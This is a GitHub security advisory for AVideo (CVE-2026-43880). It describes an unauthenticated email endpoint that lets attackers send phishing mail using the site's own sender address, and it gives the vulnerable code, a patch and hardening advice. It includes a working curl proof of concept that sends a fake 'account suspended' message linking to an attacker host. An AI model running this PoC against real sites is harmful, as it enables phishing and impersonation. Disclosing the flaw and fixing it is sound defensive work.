GHSA-5HGJ-7GM9-CFF5
Vulnerability from github – Published: 2026-05-05 21:56 – Updated: 2026-05-13 14:20Summary
objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.
Details
Vulnerable code (objects/sendEmail.json.php):
10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12: $valid = true;
13: }
...
16: if ($valid) {
...
24: $mail = new \PHPMailer\PHPMailer\PHPMailer();
25: setSiteSendMessage($mail); // uses site's SMTP credentials
...
30: $replyTo = User::getEmail_();
31: if (empty($replyTo)) {
32: $replyTo = $config->getContactEmail(); // <-- FALLBACK to site's own email
33: }
34:
35: $sendTo = $_POST['email']; // attacker-controlled recipient
36:
37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38: if (!empty($_POST['contactForm'])) {
39: $replyTo = $_POST['email'];
40: $sendTo = $config->getContactEmail();
41: }
42:
43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44: $mail->AddReplyTo($replyTo); // site's address
45: $mail->setFrom($replyTo); // From: site's address
...
47: $mail->addAddress($sendTo); // TO: attacker-chosen victim
...
49: $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50: $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51: $mail->msgHTML($msg);
...
55: if (!$mail->send()) { ... }
User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().
Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:
static $builtinBypass = [
...
// Public write actions
'sendEmail.json.php',
...
];
if (in_array($baseName, $builtinBypass, true)) { return; }
Why existing defenses don't mitigate the abuse:
- Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.
- FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.
- htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.
- No rate limiting, no auth check, no association between the caller and the recipient address.
Flow summary for the abuse case (unauthenticated, no contactForm):
1. User::getEmail_() → '', so $replyTo = site's contact email (line 32)
2. $sendTo = attacker's chosen recipient (line 35)
3. contactForm branch skipped (line 38)
4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)
Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.
PoC
Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).
# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'
# 2. Send phishing email. Note: contactForm is OMITTED.
# - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
# - $sendTo = attacker-chosen recipient
# - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=abc123' \
--data-urlencode 'email=victim@target.com' \
--data-urlencode 'first_name=Support Team' \
--data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'
Expected server response:
{"error":"","success":"Message sent"}
Delivered headers at victim@target.com:
From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body: <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...
Contrast with the intended contactForm=1 flow (correctly routes to the site owner):
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
--data-urlencode 'captcha=<newcaptcha>' \
--data-urlencode 'email=attacker@attacker.com' \
--data-urlencode 'comment=hi' \
--data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)
Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.
Impact
- Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
- Brand impersonation / account-takeover chains. Attacker-controlled subject (
first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator. - Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
- Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.
Recommended Fix
Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:
// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
$valid = true;
}
// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
$obj = new stdClass();
$obj->error = __("Authentication required");
header('Content-Type: application/json');
echo json_encode($obj);
exit;
}
$obj = new stdClass();
$obj->error = '';
if ($valid) {
...
$replyTo = User::getEmail_();
if (empty($replyTo)) {
// Should no longer be reachable for arbitrary recipients.
// Keep as defense-in-depth only for contactForm=1 path.
$replyTo = $config->getContactEmail();
}
...
}
Additional hardening:
1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages.
2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains.
4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43880"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:56:19Z",
"nvd_published_at": "2026-05-11T22:22:12Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a \"public write action\" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation.\n\n## Details\n\n**Vulnerable code (`objects/sendEmail.json.php`):**\n\n```php\n10: $valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\n11: if(User::isAdmin()){\n12: $valid = true;\n13: }\n...\n16: if ($valid) {\n...\n24: $mail = new \\PHPMailer\\PHPMailer\\PHPMailer();\n25: setSiteSendMessage($mail); // uses site\u0027s SMTP credentials\n...\n30: $replyTo = User::getEmail_();\n31: if (empty($replyTo)) {\n32: $replyTo = $config-\u003egetContactEmail(); // \u003c-- FALLBACK to site\u0027s own email\n33: }\n34:\n35: $sendTo = $_POST[\u0027email\u0027]; // attacker-controlled recipient\n36:\n37: // if it is from contact form send the message to the siteowner and the sender is the email on the form field\n38: if (!empty($_POST[\u0027contactForm\u0027])) {\n39: $replyTo = $_POST[\u0027email\u0027];\n40: $sendTo = $config-\u003egetContactEmail();\n41: }\n42:\n43: if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {\n44: $mail-\u003eAddReplyTo($replyTo); // site\u0027s address\n45: $mail-\u003esetFrom($replyTo); // From: site\u0027s address\n...\n47: $mail-\u003eaddAddress($sendTo); // TO: attacker-chosen victim\n...\n49: $safeFirstName = htmlspecialchars($_POST[\u0027first_name\u0027], ENT_QUOTES, \u0027UTF-8\u0027);\n50: $mail-\u003eSubject = \u0027Message From Site \u0027 . $config-\u003egetWebSiteTitle() . \" ({$safeFirstName})\";\n51: $mail-\u003emsgHTML($msg);\n...\n55: if (!$mail-\u003esend()) { ... }\n```\n\n**`User::getEmail_()` (`objects/user.php:345-352`):** returns `\u0027\u0027` when the caller is not logged in, driving the fallback to `$config-\u003egetContactEmail()`.\n\n**Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in \"public write actions\" CSRF/same-domain bypass:\n\n```php\nstatic $builtinBypass = [\n ...\n // Public write actions\n \u0027sendEmail.json.php\u0027,\n ...\n];\nif (in_array($baseName, $builtinBypass, true)) { return; }\n```\n\n**Why existing defenses don\u0027t mitigate the abuse:**\n- **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.\n- **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.\n- **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content \u2014 attacker fully controls the visible text (URL, instructions) and the perceived sender.\n- **No rate limiting, no auth check, no association between the caller and the recipient address.**\n\n**Flow summary for the abuse case (unauthenticated, no `contactForm`):**\n1. `User::getEmail_()` \u2192 `\u0027\u0027`, so `$replyTo` = site\u0027s contact email (line 32)\n2. `$sendTo` = attacker\u0027s chosen recipient (line 35)\n3. `contactForm` branch skipped (line 38)\n4. Site\u0027s SMTP sends `From: \u003csite contact\u003e` to `\u003cvictim\u003e` with attacker\u0027s subject/body (lines 44-51)\n\nBecause the message is genuinely relayed by the site\u0027s mail infrastructure, SPF/DKIM/DMARC for the site\u0027s domain pass, making the phishing message indistinguishable from legitimate site mail.\n\n## PoC\n\nEndpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).\n\n```bash\n# 1. Obtain a session + captcha image\ncurl -c cookies.txt -s \u0027http://target.example.com/captcha.php?refresh=1\u0027 -o captcha.png\n# attacker manually solves the captcha -\u003e e.g. \u0027abc123\u0027\n\n# 2. Send phishing email. Note: contactForm is OMITTED.\n# - User::getEmail_() returns \u0027\u0027 (unauth) -\u003e $replyTo falls back to site\u0027s contact email\n# - $sendTo = attacker-chosen recipient\n# - setFrom($replyTo) -\u003e From: is the site\u0027s real address\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n --data-urlencode \u0027captcha=abc123\u0027 \\\n --data-urlencode \u0027email=victim@target.com\u0027 \\\n --data-urlencode \u0027first_name=Support Team\u0027 \\\n --data-urlencode \u0027comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset\u0027\n```\n\nExpected server response:\n```json\n{\"error\":\"\",\"success\":\"Message sent\"}\n```\n\nDelivered headers at `victim@target.com`:\n```\nFrom: \u003csite\u0027s legitimate contact email, e.g. contact@legit-videosite.com\u003e\nReply-To: \u003csite\u0027s legitimate contact email\u003e\nTo: victim@target.com\nSubject: Message From Site \u003cSiteName\u003e (Support Team)\nBody: \u003cb\u003eEmail:\u003c/b\u003e victim@target.com\u003cbr\u003e\u003cbr\u003eUrgent: Your account will be suspended...\n```\n\nContrast with the intended `contactForm=1` flow (correctly routes to the site owner):\n```bash\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n --data-urlencode \u0027captcha=\u003cnewcaptcha\u003e\u0027 \\\n --data-urlencode \u0027email=attacker@attacker.com\u0027 \\\n --data-urlencode \u0027comment=hi\u0027 \\\n --data-urlencode \u0027contactForm=1\u0027\n# -\u003e $sendTo = site owner\u0027s contact email; $replyTo = attacker\u0027s email. (Normal contact form.)\n```\n\nOmitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site\u0027s own From: identity.\n\n## Impact\n\n- **Phishing with the site\u0027s real sender identity.** Mail originates from the site\u0027s SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.\n- **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.\n- **Mail-reputation damage.** Repeated abuse can blacklist the site\u0027s sending IP/domain, degrading legitimate mail deliverability.\n- **Works against any AVideo instance with SMTP configured** \u2014 a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.\n\n## Recommended Fix\n\nCollapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:\n\n```php\n// objects/sendEmail.json.php\n...\n$valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\nif (User::isAdmin()) {\n $valid = true;\n}\n\n// Reject the non-contactForm branch for unauthenticated callers.\n// The \"share with a friend\" flow already requires User::isLogged()\n// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.\nif (empty($_POST[\u0027contactForm\u0027]) \u0026\u0026 !User::isLogged()) {\n $obj = new stdClass();\n $obj-\u003eerror = __(\"Authentication required\");\n header(\u0027Content-Type: application/json\u0027);\n echo json_encode($obj);\n exit;\n}\n\n$obj = new stdClass();\n$obj-\u003eerror = \u0027\u0027;\nif ($valid) {\n ...\n $replyTo = User::getEmail_();\n if (empty($replyTo)) {\n // Should no longer be reachable for arbitrary recipients.\n // Keep as defense-in-depth only for contactForm=1 path.\n $replyTo = $config-\u003egetContactEmail();\n }\n ...\n}\n```\n\nAdditional hardening:\n1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller\u0027s address only in `Reply-To`. Never reuse `$config-\u003egetContactEmail()` as the From for user-initiated messages.\n2. For the logged-in \"share\" flow, verify the caller\u0027s email has been confirmed, and rate-limit by user id and by IP.\n3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains.\n4. Add a visible \"user-submitted message via our site\" banner to the email body so recipients can distinguish these from first-party communications.",
"id": "GHSA-5hgj-7gm9-cff5",
"modified": "2026-05-13T14:20:23Z",
"published": "2026-05-05T21:56:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43880"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site\u2019s Legitimate From Address"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.